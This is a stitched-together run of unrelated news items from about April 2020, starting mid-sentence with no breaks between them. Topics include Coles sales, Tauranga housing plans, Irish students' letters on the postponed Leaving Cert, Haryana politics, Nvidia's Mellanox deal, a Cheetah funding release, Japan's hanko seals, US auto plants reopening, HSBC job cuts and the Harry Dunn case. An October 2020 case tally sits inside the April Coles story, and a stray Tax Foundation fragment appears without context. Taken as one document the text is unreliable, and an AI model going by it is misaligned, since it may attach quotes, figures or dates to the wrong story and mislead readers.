bottle and opting for more bulk purchases of alcohol. 'We are very conscious that value will be high on the agenda,' Mr Cain said. Coles Express, which also sells Shell-branded petrol, saw a five per cent increase in sales to $256million. The third quarter sales of Coles's supermarket, liquor and service station businesses climbed by 12.9 per cent to $9.226billion, up from $8.173billion in early 2019. The supermarket giant's grocery sales soared 13.8 per cent between January 6 and March 29, when compared with the same period in 2019, as coronavirus case numbers peaked. Coles sales in its supermarkets alone added up to $8.23billion during the third quarter - more than the combined takings from its grocery, liquor and Express service station outlets during the same period last year. Pictured are customers at Coles at Epping in Sydney's north waiting for a toilet paper delivery on March 20, 2020 Mr Cain said Coles expected sales to have returned to normal in April as Australians made fewer trips to the supermarket. CORONAVIRUS CASES IN AUSTRALIA: 27,244 Victoria: 20,269 New South Wales: 4,273 Queensland: 1,161 Western Australia: 692 South Australia: 473 Tasmania: 230 Australian Capital Territory: 113 Northern Territory: 33 TOTAL CASES: 27,244 ESTIMATED ACTIVE CASES: 269 DEATHS: 897 Updated: 5.31 PM, 11 October, 2020 Source: Australian Government Department of Health Advertisement 'Sales at supermarkets in April returned to pre-COVID levels as customers working and staying at home did more home cooking, baking from scratch, inspired by MasterChef,' he said. 'Restrictions on purchases are gradually being lifted as demand eases and supply improves including this week the now-iconic toilet roll.' Coles yesterday lifted its one-pack limit on toilet paper and paper towels, but two-item limits per customer remain on pasta, eggs, tinned tomatoes and frozen vegetables. Disinfectant cleaning products, including wipes, still remain in short supply with Mr Cain conceding it could be several months before supply returned to normal. 'A few weeks or months until we're fully restored,' he said. 'Last month, you couldn't get hold of a bottle of sanitiser for love nor money but that's now generally available. 'There's been an extraordinary response from the supply base but it will take some time to just to work through the system.' Australian Bureau of Statistics figures released last week showed a record 8.2 per cent spike in retail sales during March. It was the highest monthly increase in records going back to 1982 and surpassed the 8.1 per cent surge of June 2000, the month before the 10 per cent Goods and Services Tax came into effect. Tauranga is New Zealands fifth largest city and is continuing to grow. Its at a turning point on the cusp of becoming a real city, but needing to make big changes for this to happen. The challenge of the citys growth, and the growth of the other main centres in our country is recognised at a national level, with central government providing very clear direction to councils on the need to provide for more housing and transport options, especially around centres. Locally, despite a lot of work going into planning for growth over the years, the city is facing a growing housing shortage and higher housing and infrastructure costs. So we need to change our approach. Instead of solely relying on expanding the city outwards, we need to put greater focus on planning for growth in our existing urban area. We need to work on placemaking in and around our town centres (including local shopping centres) and enable more people to live in those areas, with more compact forms of housing, community spaces, retail and other businesses. Enhancing and protecting Te Papas unique culture and history. Tauranga City Council is working on making this happen, starting in the Te Papa peninsula the area between Greerton and the city centre. Together with stakeholders from across the board they are pulling together a 30-year plan for the area that aims at providing greater housing choice, safe and efficient transport options, local amenities and infrastructure needed to support healthy and connected neighbourhoods and communities. Theres a lot of community benefits to be gained from growth and change, if it is well planned and supported by the right investment at the right time. Better access to social and economic opportunities, improved environmental quality, neighbourhoods with a stronger sense of culture and identity for example. Understanding what to invest in and when, to make this come true in Te Papa, is what council is working on right now. Connected neighbourhoods providing for different modes of transport. In parallel, to allow Tauranga to grow up as well as out, council is working on making Taurangas city plan more enabling of different types of housing. At this stage the rules make it hard for people to build anything other than standard standalone houses. This means we're not using land as effectively as possible to accommodate our growth, and the homes available on the market may not suit some peoples needs; like those of our ageing community, or of the increasing number of smaller households. So council is working on changing the city plan to make it easier for people to build if they want to duplexes and townhouses/terraced housing in suburban areas across the city, and apartments in more central areas like Te Papa. Enabling this makes sense but how to ensure new builds both look good and that theyre buildings that people are happy to live next door to, that enhance the neighbourhood? Thats where the city plan rules come in, as well as new urban design guidelines that council is proposing. Architectural drawing: two-storey duplex. Council is now asking for the communitys feedback on their city plan proposals and their ideas for Te Papa. Information is available at www.tauranga.govt.nz/shapeyourcity, with an online survey to share your thoughts and the chance to win some Prezzy cards. These could seem like strange times to be talking about city planning, and thinking so far into the future, when tomorrow is uncertain. Yet maybe there are no better times for this. Tauranga will likely continue to grow, people will continue to move here. We need to act now to ensure that growth is well managed, and that it creates opportunities for better homes, better neighbourhoods and a better city for us, our children, and our grandchildren. - Sponsored Content Three Leaving Cert students from across the country share their thoughts and opinions on the upcoming exams. Students around the country respond to the postponement and cancellation of state exams. 'The mental well-being of young people is not being given strong enough consideration' Jennifer Flynn (19) from Sacred Heart Secondary School, Clonakilty Thousands of Leaving Certificate students are currently consumed by a feeling of betrayal as our voices have been ignored by the Government. The postponement of the Leaving Certificate was announced on April 10 by An Taoiseach, Leo Varadkar. This decision, which impacts 61,053 of us, was made without extensively consulting a single student. I recognise the overwhelming pressure that the Government is under but I am left with no choice but to write this open letter in the hope that this decision is revoked. I appreciate the necessary and extreme actions that the Irish Government has had to take in its attempts to flatten the curve of Covid-19. However, since the announcement of the closure of all secondary schools on March 12, young people have felt forgotten. We have received no information or direction. The decision to cancel orals and award all students 100pc was by no means a perfect solution, but it did at least ease the immediate concerns of worried students. Following on from this, the April 10 announcement that the summer exams would be delayed came as a shock to many. It soon emerged that we, the students, had not been adequately consulted. In fact, we had been ignored. In a students union (ISSU) survey, 49pc of Leaving Cert candidates who took part were in favour of 'cancelling the upcoming exams and using a predicted grade model'. Only 18.9pc opted for the exams to be rescheduled to a date later in the summer. The disappointment currently felt by students towards Minister for Education, Joe McHugh, is palpable. The emotional health and mental well-being of young people is not being given strong enough consideration. I sincerely hope that this terrible approach does not have devastating consequences for students and their families. It has been said that this year's Leaving Certificate candidates must be treated the same as candidates from every other year. This feels particularly harsh at a time when we, along with the rest of society, face an unprecedented global crisis. Upon announcing the postponement of the exams, Minister McHugh said: "Great work is being done by schools and teachers to connect with students and to keep them learning." These words created an image of hope and reassurance. Unfortunately, this image is a work of fiction. In this pandemic, effective and sustained teacher engagement through remote learning is crucial to all students. Sadly, some teachers have not engaged with students sufficiently. Moreover, any student fortunate enough to receive comprehensive teacher engagement is at a significant advantage to others. Some students have a weak internet connection, so online teaching isn't even a possibility for them. The Government's response to the predicted grade model proposed by the majority of students is unreasonable. Last year, while under the scrutiny of some media outlets, the State Examination Commission (SEC) actually defended its practice of awarding hundreds of estimated grades to students. Internal records show that the SEC takes this approach when some or all of a student's work is not available for marking due to "unique, unforeseen and exceptional circumstances". So, there clearly is a precedent for awarding predicted grades, but the truth is somehow overlooked and the Government has chosen to senselessly uphold tradition rather than sensible reasoning. As the Taoiseach said: "The truth is that these are extraordinary times." Surely the extraordinary nature of life today demands extraordinary action in all sectors, including that of education, and specifically the Leaving Certificate examinations. I strongly believe that the postponement of the Leaving Certificate exams, of which we still have no details, is unjust. It fills me with disappointment. 'Cancel the exams, give us predicted grades and usher in a bright, new era of continuous assessment' Emily Erskine (18) from Donegal Town, Co. Donegal I am a sixth-year student in county Donegal and, just like the majority, I am at home in lockdown. At present, I am studying hard for a Leaving Cert that has been postponed. Most of my day is taken up with trying to finish coursework and revising what has been completed. Expand Close Emily Erskine (18) from Donegal Town, Co. Donegal / Facebook Twitter Email Whatsapp Emily Erskine (18) from Donegal Town, Co. Donegal I urge the Minister for Education, Joe McHugh, to listen to the vast amount of students pleading for the Leaving Certificate to be cancelled. The Leaving Cert exams cause a great deal of stress for young adults. We are told that everything we have done in our education up to this final year is for our Leaving Cert. What if this pandemic stretches on longer then anticipated? Is the Government really going to allow students to go and sit an exam when they know that they could potentially be infectious? Postponing the Leaving Cert is making students feel more anxious and stressed. It feels like we are running a race and the finishing line was in sight, but it has now been picked up and moved out of sight again. All of this pressure is still looming over our heads. Our teachers are doing the best they can in challenging circumstances to try and accommodate us, but this arrangement doesn't work for some students who find it easier to learn in a classroom environment and not online. Many students have such a bad WiFi connection that they cannot engage in online classes. Teachers will be giving up their time to try and facilitate our needs. What about their families and their health? They have done so much to try to make everything as easy as possible for us, but who's making sure things are easy for them? They will have to go into school for two weeks, where they will of course be surrounded by students. This will put them and their families at risk. We need to think not only of the mental and physical health of students, but of the teachers too. Reading comments online, some say that we are being selfish. They believe that we only want the Leaving Cert cancelled because we won't be getting a summer. The reality is that we aren't going to get the summer we wanted anyway, although we do deserve some sort of summer (even if it consists of students living with their families in quarantine). We need to relax our brains from all the stress and pressure built up over the last six years. Does the minister expect us to go straight from a stressful exam in July, into college, without a break? There are so many reasons why these exams shouldn't go ahead, but the main ones relate to releasing the stress, anxiety and pressure. Visit our Covid-19 vaccine dashboard for updates on the roll out of the vaccination program and the rate of Coronavirus cases Ireland Please give the Leaving Cert students of 2020 predicted grades. Keep the teachers and students safe this summer. Trust the professionalism of the teachers and their knowledge of their students to give us a just grade for our Leaving Cert. There is time to assess the predicted grades before the summer, thus making it possible for college places to be secured and accepted. I know this isn't the traditional method, but it might set a new precedent for continuous assessment in exams in the future. We hear of the stress being caused by the Leaving Certificate every year. It makes headline news. Maybe this is the time, this is the year, to make a change for the better. Continuous assessment is the fairest way to showcase a student's ability. 'The worry I have for my family is enough without the added pressure of the exams' Ciara Gallagher (18) from Carrickmacross, Co.Monaghan I completely disagree with the decision made regarding the Leaving Cert. At a time when the whole world is in a state of panic, it is unfair that 17- and 18-year-olds are somehow expected to be immune from that intense feeling of anxiety. Expand Close Ciara Gallagher (18) from Carrickmacross, Co.Monaghan / Facebook Twitter Email Whatsapp Ciara Gallagher (18) from Carrickmacross, Co.Monaghan It is a sad fact that some of us have and will lose loved ones, yet we are expected to just keep going as normal. Many of us don't have classes now because the internet connection at home isn't strong enough. We haven't finished our courses and, in the case of some students, we have to take care of younger siblings. Countries around the world have cancelled their exams but we haven't. Why is this so? Even the Olympics are cancelled! The uncertainty is cruel and very damaging to our wellbeing. It is quite clear that students' opinions aren't valued. The Leaving Cert is already stressful enough without a global pandemic to deal with. I believe that postponing the Leaving Cert is very wrong. This year already feels endless, yet somehow it has been made longer. Of course there are more pressing issues, such as people becoming unemployed. However, this adds to our stress as the people becoming unemployed are our parents. I believe predictive grades is the most fair solution. It is deeply disheartening to witness the voice of students being ignored. Postponement was the least popular option, according to the ISSU survey. If exams go ahead in August, sixth year will have spanned 12 months, which is ludicrous. Sixth year is commonly referred to as "the most stressful year in your life". With this in mind, how can it be expected of teenagers to keep going this long while the world faces a global trauma? We should be allowed to spend quality time with our families, time during which we try and get through the lockdown together. As soon as the announcement about the postponement of exams was made, all of my friends were distraught, as was I. I have a twin sister, so there is double the stress in my house. As well as this, if my brother contracted coronavirus he would be at a high risk of becoming critically ill. My Dad also happens to be a frontline health worker. It is all too much to bear. The worry I have for my family is enough without the added pressure of the exams. I have worked since first year but now I know I won't reach my potential due to the mental strain this is having on me and the fact that we are not being taught. This is why, for the mental and physical health of students, I believe predictive grades is the only way to go. We are living history. The challenges posed by Covid 19 are similar the world over but everybodys experience of this emergency will be different. In this special series, Lockdown Letters' gives our readers at home and across the globe an opportunity to share their stories about how the Coronavirus and the measures to tackle its spread are impacting their lives in these unprecedented times. Please email your submission (400 words max.) to stories@independent.ie along with a photograph. We will publish as many letters as possible on Independent.ie and a selection in print every week. The Haryana Congress on Tuesday demanded that the BJP-JJP government in the state ensure transparency in utilisation of money donated to the Haryana COVID Relief Fund. Congressmen including party's Rajya Sabha MP from the state Deepender Singh Hooda and many party leaders in their individual capacity have made contributions towards the Fund, Haryana Congress President Kumari Selja said. The Haryana government keeps appealing to people including government employees to make donations for the Haryana COVID Relief Fund and people have been making liberal donations. The government must make things transparent and tell the public where and how this money is being used so that more people are encouraged to donate, she told reporters through video conference. The ML Khattar government had set up the Fund last month to mitigate the hardship of those affected by the coronavirus outbreak. The chief minister had made an initial contribution of Rs 5 lakh from his personal savings to the fund. On the state government's move to freeze recruitments, she said Haryana already has a very high unemployment rate and the unemployed youth will feel further frustrated. The ruling dispensation, she said, should declare a moratorium on expenditure incurred on maintaining posts held by Chairmen and members of State Public Service Commission and State's Staff Selection Commission. When the Chief Minister has said that no new recruitment in the state will be carried out for one year citing the present crisis situation, they can also save money by declaring moratorium on expenditure made on maintaining the posts held by Chairmen and members of the recruitment bodies in the state, she said. Selja said posts of Chairmen of various Boards and Corporations too, on whom hefty sums are incurred, can be dissolved to save money. Raising issues concerning farmers, she claimed that the Haryana government had said that within 24 hours payment will be made to peasants after their crop is procured. But now one week has passed neither any farmer nor Arhitiyas or commission agents have got any payment. Not even a single rupee has been credited in anyone's account, she said. Selja said that Food Corporation of India has asked the state government to make direct payment to farmers, but government had earlier said they will pay the farmers through Arhitiyas. The government must clarify its position. Noting that small and medium enterprises have been hit hard due to the current crisis, she demanded that the government waive their fixed monthly power charges. Selja also demanded that water and power charges of poor sections of society should be waived for the time being in view of the present situation while middle class too should be given relief by waiving the house tax. To a question, Selja said, As principal opposition party, whether it is poor people, issue of migrant labourers or farmers, there are a lot of shortcomings which we keep highlighting and giving suggestions. Our purpose at this stage is not to criticize, but to highlight problems faced by various sections. We just hope that the government should take note of these and respond in a positive way, she said. With Haryana doing better on many parameters including recovery rate with regards to COVID-19, Selja said, It is too early to start patting ourselves on the back, by that I do not mean government, but I mean all of us. This is kind of situation about which no one knows how it will unfold. As far as lockdown is concerned, that was the best option". But all of us need to be extremely cautious, let us not start patting ourselves on back and we should keep planning ahead she added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Nvidia CEO Jensen Huang in an appearance on CNBC Monday took a victory lap after his company completed its long-awaited merger of chip producer Mellanox Technologies. "This is a homerun deal," he told Jim Cramer in a "Mad Money" interview. "Man, I've been dreaming about this." The $7 billion acquisition took more than 13 months to complete since it was first announced in the first quarter of 2019 amidst a trade war between economic powerhouses U.S. and China. Mellanox, an Israel-based supplier for high-performance network computing, counts China's Alibaba and Baidu as major customers. China regulators approved the deal on April 16, months after authorities in the U.S. and the European Union gave the deal their blessing without conditions last year. Nvidia, known for its gaming graphics chips, is based in Santa Clara, California. Nvidia is seeking to boost its data center and artificial intelligence business with Mellanox in efforts to compete with Intel. "We're combining the leaders of AI computing and high speed networking and data processing into one company and, so, this is really quite extraordinary," said Huang, who has led the company for nearly three decades. The tie up gives Nvidia end-to-end expertise in data center services, a larger footprint and more scale. "With that, hopefully we could, you know, accelerate the innovation and create amazing things for data centers going forward," he said. Numerous corporate deals between U.S. and international companies with considerable business in China have been impeded by Chinese authorities in the past two years. The U.S. and China, the world's two largest economies, engaged in a tit-for-tat trade war until a so-called phase one trade deal cooled commerce tensions between the two countries. Qualcomm notably abandoned a $44 billion takeover of rival NXP Semiconductors in July 2018 after running into regulatory challenges with China. Nvidia shares climbed more than 2% to $297.08 during the session. The stock is up 26% year to date. SAN FRANCISCO, April 28, 2020 /PRNewswire/ -- Despite an expanding national shutdown, one San Francisco-based female-led startup has proven its ability to persevere. Cheetah, an e-commerce platform offering contactless pickup and delivery of food and supplies, announced today it successfully closed $36 million in Series B funding led by Eclipse Ventures, with participation from ICONIQ Capital, Hanaco Ventures, and Floodgate Fund. This investment brings the company's total funding to $66 million since it was founded in 2015. "This pandemic has shed light on how technology can be used to quickly adapt core services within the food industry like delivery, fulfillment, and supply chains," said Lior Susan, founder and Managing Partner at Eclipse. "Cheetah's team has demonstrated agility and ingenuity on behalf of their customers, and the resiliency of building a technology-centric operation. The company's vertical integration and technology stack have enabled them to accommodate changing buyer behavior as food supply chains shifted from a focus on commercial operations to consumer homes." Cheetah is transforming the wholesale food industry, offering transparent pricing to consumers, independent restaurants and small businesses with next-day, contactless delivery for orders placed through its mobile application. Using its fleet of refrigerated trucks, Cheetah delivers everything from bakery items to beverages, dairy, meat, poultry, seafood, fresh produce, condiments, snacks and cleaning supplies. Originally launched as a wholesale delivery service for restaurants and small businesses, Cheetah was able to quickly build on its existing technology foundation the week prior to California's shelter-in-place order, launching a direct-to-consumer service called Cheetah For Me. This unique service gives local residents and small businesses in the Bay Area safe access to essential food and supplies at competitive wholesale prices. Consumers simply order through the mobile app and pick up the next day from one of Cheetah's designated drive-through locations. "The positive feedback from the community has been overwhelming," said Na'ama Moran, co-founder and CEO at Cheetah. "This funding allows Cheetah to build on our strong foundation and expand essential services directly to the consumer. Now, we can provide even more people with the food and supplies they need in a safe and cost-effective way, throughout this crisis and beyond. Our purpose has always been to help independent restaurants thrive. Now we are helping communities thrive." To learn more about Cheetah's direct-to-consumer service, visit https://www.gocheetah.com/cheetah-for-me. About Cheetah Cheetah is a provider of contactless pickup and delivery services for food and supplies at wholesale prices. By turning refrigerated trucks into mobile fulfillment centers, Cheetah provides the safest option for grocery pickup without contact and away from crowds. Consumers simply place their order through the Cheetah mobile app and drive to one of multiple designated locations in the Bay Area where products are placed in the trunk of their car without leaving the driver's seat. Founded in 2015 by Na'ama Moran, Christopher Elliott, Alon Har-Tal and Vincent Matranga, the company is financially backed by Eclipse Ventures, Floodgate Fund, Hanaco Ventures, and ICONIQ Capital with headquarters in San Francisco and offices in Israel. For more information, visit www.gocheetah.com, follow us on our blog, and on Instagram and Twitter at @gocheetah. Media Contact: Cast Influence for Cheetah Technologies: [email protected] Press Kit: http://ow.ly/Xp3b50yVkkV Related Images cheetah-logo.png Cheetah Logo Related Links Cheetah For Me Cheetah on YouTube SOURCE Cheetah Technologies Inc. Related Links https://www.gocheetah.com FILE PHOTO: Evenly sized cut pieces of ivories for making 'hanko' or carved name seals are seen at a factory in Tokyo, Japan TOKYO (Reuters) - With efforts to promote telecommuting lagging despite the coronavirus crisis, Japan is taking another look at an ancient custom that stubbornly remains an analogue anomaly in an otherwise high-tech nation: the need to stamp documents with seals. Japanese Prime Minister Shinzo Abe has called on citizens to stay at home, aiming for a 70 to 80 percent reduction in contact to fight the spread of the novel coronavirus, but the goal has proved elusive. In particular, many workers have been forced to commute to their offices because of a reliance on hard-copy paperwork for key contracts and proposals, and the need for much of this to be stamped with a traditional "hanko" or seal. On Monday, though, Abe instructed cabinet ministers at a meeting of the Council on Economic and Fiscal Policy (CEFP), to overhaul regulations and identify inconvenient and unnecessary steps in administrative procedure such as a traditional seal or face-to-face paper submission - a prelude to scrapping or simplifying them eventually. Usually a small cylinder carved with the characters for a person or company's name, "hanko" or "inkan" are pressed on red ink pads and then stamped on documents as needed. A custom originally imported from China over a thousand years ago, the use of hanko was formalised by Japan's modern government in the mid-1800s, with citizens required to legally register one with their name to use on important papers and documents. In business, they can be used on virtually everything, from contracts to applications and even just to show that everybody in an office has seen a particular memo. The government this month compiled an economic stimulus package for the coronavirus outbreak which includes subsidies for companies - but applying for many of these will require stamping the forms with a seal or visiting offices in person. Comments were not immediately obtainable from hanko maker associations, but many Japanese have expressed their frustration with the custom on social media. Story continues "Just to complete my work, how many thousands of times - no, hundreds of thousands of times - have I had to press my hanko on papers?" wrote Twitter user "Mayumi_ma-na." "There are plenty of sectors that no longer rely on these seals! Why can't we just sign things?" Japan had over 13,400 coronavirus infections, with more than 370 deaths, public broadcaster NHK said on Monday. (Reporting by Kaori Kaneko, editing by Elaine Lies and Chizu Nomiyama) General Motors Co, Ford Motor Co and Fiat Chrysler Automobiles NV are aiming for May 18 to resume some production at their U.S. factories. The automakers' plants all shut down in March due to the coronavirus outbreak. Twenty-four United Auto Workers (UAW) members have already died from COVID-19 but its unclear when or where they contracted the disease. Executives from the companies in recent days tentatively settled on the timeline following talks with UAW leaders and Michigan Governor Gretchen Whitmer's office, the Journal said on Monday, citing people familiar with the plans. The head of the UAW union last week warned it was 'too soon and too risky' to reopen auto plants and Michigan's economy in early May, citing risks to workers. The companies are working with the union on drawing up safety protocols for reducing exposure risk for workers, but haven't finalized those terms yet, according to the WSJ report. General Motors Co, Ford Motor Co and Fiat Chrysler Automobiles NV are aiming for May 18 to resume some production at their U.S. factories. File picture of Ford plant, Michigan GM, Ford, Fiat Chrysler and UAW did not immediately respond to Reuters requests for comment. However, Ford has already brought back a small number of workers in an attempt to get the factories ready when lockdown rules are eased. The automobile maker confirmed to the Detroit Free Press on Sunday that a 'skeleton crew' of hourly and salaried workers would be brought back to factories on Monday. Kelli Felker, Ford global manufacturing and communications manager, noted the callbacks are 'volunteer' status, meaning workers are not required to go back if asked, but they would be paid. She said the employees are 'putting safety protocols in place that we will use when we do reopen our facilities.' Ford did not clarify which sites workers would be recalled to. Its factory headquarters are located in Detroit, but Ford has around 25 locations throughout the US. Workers are provided face masks and if social distancing is not possible, they will have to wear a face shield or safety goggles, in addition to the face mask. Additionally, workers will have to obtain a 'daily health and wellness self certification' before they are let inside to ensure they do not have any coronavirus symptoms. They will also go through a no-contact temperature screening, although Felker notes the details will be different for each plant. She said to the Free Press: 'Where workers are making medical personal protection equipment now, they go through a ''thermal scanner,'' like a camera that takes a thermal picture. If an employee is too warm, they will not be allowed to enter the workplace.' However, workers are still concerned with the risks they would be taking. One told the news outlet: 'A big point of concern is the nature of the coronavirus, and its propensity to be highly contagious for up to two weeks before any symptoms show. Many people in a production facility could become infected by this virus before the first person began to show symptoms.' Ford did not clarify which sites workers would be recalled to. Its factory headquarters are located in Detroit, but Ford has 25 locations throughout the US Already at Ford, more than 800 people returned to work at four Detroit-area sites to make medical equipment. Several companies have re-purposed its factories to answer calls for help from beleaguered nurses, doctors and paramedics who are treating patients with the highly contagious virus. Workers also are making soap and hand sanitizer, which early in the crisis were in short supply. Most automakers in the US temporarily stopped making vehicles about a month ago after workers complained about the risks of infection at the factories. Many white-collar workers are being paid to work remotely but members of the United Auto Workers who don't have that option are still collecting pay and unemployment benefits that equal about 95 percent of regular take-home wages. Ford, GM and Toyota said they aren't aware of any infections among workers who returned to make medical gear. Still, there's no denying the risks are likely higher at the factories than in the safety of one's home. This sort of imbalance is nothing new. Data in an old Tax Foundation study, Federal Taxes Paid vs. Federal Spending Received by State, 1981-2005, shows that on average, Illinois had a $16 billion annual negative balance over those 25 years, with taxpayers getting back an average of 74 cents in federal spending in the state for every dollar they sent to the IRS. The Tax Foundation has not updated that study, and the Illinois governors Office of Management and Budget does not track these figures. London, April 28 : British multinational investment bank, HSBC announced on Tuesday that it has paused plans to cut 35,000 jobs, saying it does not want to leave staff unable to find work elsewhere during the coronavirus pandemic. In February, HSBC said it planned to scale back its headcount from 235,000 to about 200,000 over the next three years, the BBC reported. The move is part of a restructuring programme which aimed to achieve $4.5bn (A3.6bn) of cost cuts by 2022. But in the latest announcement, CEO Noel Quinn said the "the vast majority" of redundancies would now be put on hold due to the exceptional circumstances. "The economic impact of the COVID-19 pandemic on our customers has been the main driver of the change in our financial performance," Quinn was quoted as saying by the BBC. Separately, in a note to employees earlier this month, Quinn had said he would donate a quarter of his base salary, about 160,000 pounds, for the next six months to charity. He will also not take his annual cash bonus, which would have been up to 1.2 million pounds. Chief Financial Officer Ewen Stevenson said he would take similar action, donating 93,000 pounds and forgoing 706,000 pounds, while Chairman Mark Tucker will donate his entire 2020 fee to charity, about 1.5 million pounds. It came as senior executives and board members at other major UK banks, including RBS and Lloyds, agreed to give up their bonuses for this year. The announcements were in response to calls from the Bank of England to restrict bonuses during the pandemic. Foreign Office officials failed to inform Northamptonshire police that Harry Dunn's alleged killer would be returning to the US after the crash in which he died, it has been claimed. Anne Sacoolas was granted diplomatic immunity and fled Britain nearly three weeks after the car she was driving allegedly collided with 19-year-old Harry's motorbike outside RAF Croughton in Northamptonshire on August 27. When the Foreign Office was told she would be returning to the US - despite being under investigation in relation to the crash - its officials didn't pass the information on to Northamptonshire Police whose responsibility it was to establish whether she had diplomatic immunity. It comes as Harry' parents say they are unable to sue their son's alleged killer due to a delay in police handing over an accident investigation report. It has also been claimed that Sacoolas - whom the US has refused to extradite to the UK - is 'desperate' to return to Britain to meet Harry's parents but will not surrender to police custody. Anne Sacoolas (pictured back in the US) was granted diplomatic immunity and fled Britain nearly three weeks after the car she was driving allegedly collided with 19-year-old Harry's motorbike outside RAF Croughton in Northamptonshire on August 27 The parents of Harry Dunn (pictured) have claimed they are unable to sue their son's alleged killer due to a delay in police handing over an accident investigation report In the days after Harry Dunn's death, police say the Foreign Office told them Anne Sacoolas had immunity and they would seek a waiver. But over the following fortnight, Northamptonshire Police say they were not told about discussions in the UK about the legality of that immunity, according to ITV News. On Friday, September 13, two Senior Foreign Office officials met US embassy counterparts who said diplomatic immunity wouldn't be waived and the Sacoolas family would return to the US the next day unless the UK had strong objections - which officials say they expressed. The following day, a senior Foreign Office official purportedly sent a text message to their US embassy counterpart saying: 'I think that now the decision has been taken not to waive [immunity] there's not much mileage in us asking you to keep the family here. It's obviously not us approving of their departure but I think you should feel able to put them on the next flight out...' On Sunday, September 15 Anne Sacoolas and her family flew back to America. Northamptonshire Police allegedly only found out she had gone in a foreign office call the next day. Documents seen by ITV News say the senior investigating officer recalls being told Anne Sacoolas had contacted Foreign Office officials days before leaving asking if there was anything stopping her and her family from going. Harry Dunn's mother Charlotte Charles and stepfather Bruce Charles outside the Ministry Of Justice in London late last year Charlotte Charles, Harry Dunn's mother says she is shocked by revelations. 'I'm really angry,' she said. 'It's just beyond belief that given the number of times we've with met them. We should have been properly grieving in those first few months 'We should have been given the chance and we deserved the truth. 'To send that in a text message. I mean seriously who the hell have we got running our country?' A month after the text message - on October 21 last year - Dominic Rabb gave this account of the Foreign Office reaction to learning Anne Sacoolas was leaving. 'We duly and immediately objected in clear and strong terms and we have done ever since.' ITV News has seen a Foreign Office email copied to Dominic Rabb's Private Secretary three days after the crash outlining what happened. It reveals concern over the potential for 'some very unpalatable headlines'. Harry Dunn would have turned 20 last month. His birthday fell on Mother's day this year. His mother said: 'Ever since the birthday...every day you know that he's always ever only going to be 19. The plans that he had are never going to happen. When the birthday came round he's always only going to be 19.' Asked whether she can ever trust the foreign secretary in the light of the recent revelations, Ms Charles said: 'Never, nor his team. I'll never trust any of them again. As far as I'm concerned he needs to completely re-evaluate the position he holds.' Tim Dunn, Harry's father, added: 'I felt from the start they lied and they've messed it up. We must get the truth for Harry's sake.. He was a good lad and he deserves it.' Radd Seiger, adviser and spokesperson for the family of Harry Dunn added: 'It is now crystal clear that the Foreign and Commonwealth Office let Harry's family down badly after he died. There is now no doubt about it. 'Serious questions will have to be asked. In not passing relevant information and material about the ambiguity of Mrs Sacoolas' diplomatic position to Northamptonshire Police, who's responsibility it was to establish if she had diplomatic immunity, the FCO interfered in the police's investigation into the case. It does not get more serious than that. 'Worse still, they let Mrs Sacoolas return to the USA when they had no right to do so, having agreed themselves with the American Government that she did have immunity. 'On top of it all, they have done their level best to cover this all up. We will call for a full enquiry and investigation, possibly a criminal one, when we know the full truth.' The family of Harry Dunn (left to right) mother Charlotte Charles, stepfather Bruce Charles, family spokesman Radd Seiger, father Tim Dunn and stepmother Tracey Dunn outside the Ministry Of Justice in London in December last year He added: 'We do not yet know who was responsible for making these decisions. But let me be clear, given the damage and anguish this has caused to the family, we will find out and ensure that those responsible for this obvious misconduct in public office will be held to account. 'We will leave no stone unturned in our search for the truth, no matter how high up the chain this goes and woe betide anyone who attempts stands in our way. 'It is high time the FCO come clean, admit their conduct, drop their absurd defence to the Judicial Review and approach us to discuss openly and with transparency what they are going to do to clear this mess up for the benefit of the family. It is the least they deserve after all they have been through.' An FCO spokesperson said: 'We consistently called for Anne Sacoolas's immunity to be waived before she left the UK. Both the Prime Minister and the Foreign Secretary have been clear with the US that the refusal to extradite her amounts to a denial of justice, and that she should return to the UK. 'We have the deepest sympathy for Harry's family. We have done and will continue to do everything we properly can to ensure that justice is done.' A spokesman for Northamptonshire Police said: 'Charlotte Charles and Tim Dunn are presently seeking to bring a judicial review against the Secretary of State for Foreign and Commonwealth Affairs and the Chief Constable of Northamptonshire Police. It would therefore be inappropriate for Northamptonshire Police to comment further at this time.' It comes as lawyers acting on behalf of Charlotte Charles and Tim Dunn have said they asked for an accident investigation report in early January in order to pursue a civil claim against 42-year-old US suspect Anne Sacoolas. The family's spokesman said the claim is essential in order for them to avoid 'financial hardship' - adding that their financial position has been made 'repeatedly clear' to the Crown Prosecution Service (CPS) and Northamptonshire Police. Sacoolas spoke to police at the scene after crashing into the 19-year-old's motorbike while driving on the wrong side of the road last August. Her husband was an intelligence officer at nearby RAF Croughton, a US spy base in Northamptonshire. But the mother-of-three flew home with her family before any formal interview or charge, claiming diplomatic immunity. Anne Sacoolas has been charged with causing the death of British teen, Harry Dunn by way of Dangerous Driving. She is seen here leaving her house in a car in Virginia, December 15, 2019 Harry Dunn, pictured in January 2014, with his newborn niece Lola Harber. He died in a collision outside RAF Croughton in Northamptonshire in August Mr Seiger said the family are considering making an application to court should they not receive the report by Friday. A spokesman for Northamptonshire Police said they have been working with the family's lawyers and the CPS to identify material that could be released 'without prejudicing any criminal trial'. Sacoolas was charged with causing death by dangerous driving last year but an extradition request submitted by the Home Office was rejected by US Secretary of State Mike Pompeo in January. Mr Seiger said authorities are 'conspiring to add to the family's misery' He said: 'Harry's family have, through their lawyer in Washington DC, been attempting to launch their civil claims in the USA for a number of months. 'One of the documents that the lawyers in America need is the police accident investigation report. We have been requesting it since early January. 'As the Crown Prosecution Service make clear in their own guidance, such requests for disclosure should generally be actioned as soon as possible.' Mr Seiger continued: 'The courts recognise the importance of families such as Harry's being able to bring civil claims early on in order to avoid financial hardship. 'As has been made repeatedly clear to the CPS and Northamptonshire Police, that is exactly the position that the family find themselves in. 'Yet, all these months on, we still do not have the report. 'That is unforgivable and the authorities are now conspiring to add to the family's misery as if they were not enduring enough misery. 'We have made it clear that we will be making an application to court in the next few days if it is not disclosed.' In a statement, a spokesman for the force said: 'Following the tragic death of Harry Dunn, Northamptonshire Police commenced a criminal investigation. 'A file of evidence was prepared and handed to the Crown Prosecution Service on November 1 2019. Since the crash which killed Harry, the county's police force has said it investigated two other incidents of Americans allegedly driving on the wrong side of the road. Pictured is a crash in the same area which allegedly involved an American driver on the wrong side of the road 'After considering the evidence, the Crown Prosecution Service authorised Northamptonshire Police to charge Anne Sacoolas with causing Harry's death by dangerous driving. 'In December 2019, the CPS began extradition proceedings, which are ongoing. 'We remain committed to securing justice through the criminal justice system in the UK and will not take any action that will prejudice this. 'The family have indicated they wish to pursue a claim for compensation against Anne Sacoolas in the United States. 